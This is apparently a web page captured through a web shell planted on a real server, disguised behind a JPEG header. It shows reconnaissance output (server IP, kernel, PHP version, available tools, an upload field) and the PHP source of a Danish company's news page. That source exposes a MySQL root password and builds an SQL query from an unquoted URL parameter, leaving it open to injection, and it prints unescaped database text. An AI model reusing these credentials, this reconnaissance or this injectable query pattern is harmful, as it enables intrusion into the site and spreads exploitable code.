????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.25 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/dk/ |
Upload File : |
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<table width="1020" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td colspan="5"><img src="images/news.jpg" alt="" width="1020" height="204" /></td>
</tr>
<tr>
<td width="40"> </td>
<td width="485" align="left" valign="top"><br />
<?php
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("astacus_web");
if(isset($_GET['newsid'])){
$newsid = mysql_real_escape_string(stripslashes($_GET['newsid']));
$sql = "SELECT * FROM tblNewsDK where id = ".$newsid." LIMIT 1";
}else{
$sql = "SELECT * FROM tblNewsDK order by date desc LIMIT 1";
}
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){
$id = $row['id'];
$subject = $row['subject'];
$date = $row['date'];
$text = $row['text'];
$text = nl2br($text);
echo ("<span style='font-family: Arial, Helvetica, sans-serif;color: #000;font-size: 12px;'><strong>" . $subject . "</strong><br><br>" . $text . "</span>");
}
mysql_free_result($result);
?>
<span style="font-family: Arial, Helvetica, sans-serif;color: #000;font-size: 12px;"><br />
</span>
<span style="font-family: Arial, Helvetica, sans-serif;color: #000;font-size: 12px;"> </span>
<br />
<br><br></td>
<td width="50"> </td>
<td width="405" align="left" valign="top"> <br>
<span style="font-family: Arial, Helvetica, sans-serif;color: #000;font-size: 12px;"><strong>Forrige Nyheder:</strong></span><br />
<?php
$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("astacus_web");
$sql = "SELECT * FROM tblNewsDK order by date desc";
$result = mysql_query($sql);
$d = " ";
while ($row = mysql_fetch_assoc($result)){
$id = $row['id'];
$subject = $row['subject'];
$date = $row['date'];
if($d != substr($date,0,4)){
echo("<br><span class='n3' style='font-family: Arial, Helvetica, sans-serif;color: #000;font-size: 12px;'><strong>".substr($date,0,4)."</strong></span>");
$d = substr($date,0,4);
}
echo("<table width='400' border='0' cellspacing='0' cellpadding='0' style='font-family: Arial, Helvetica, sans-serif;color: #000;font-size: 12px;'><tr><td width='100' class='n3' style='font-family: Arial, Helvetica, sans-serif;color: #000;font-size: 12px;' valign='top'><a class='n3' href='index.php?page=nyheter&newsid=".$id."'>".$date."</a></td><td width='300' valign='top' class='n3'><a class='n3' href='index.php?page=nyheter&newsid=".$id."'>".$subject."</a></td></tr></table>");
}
mysql_free_result($result);
?>
<br />
<br />
<br />
<br><br></td>
<td width="40" valign="top"> </td>
</tr>
</table>
<br />
<table width="1020" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td align="center"><img src="images/h_line.jpg" width="984" height="23" align="middle" /></td>
</tr>
</table>
<br />
<br />
<br />
<br />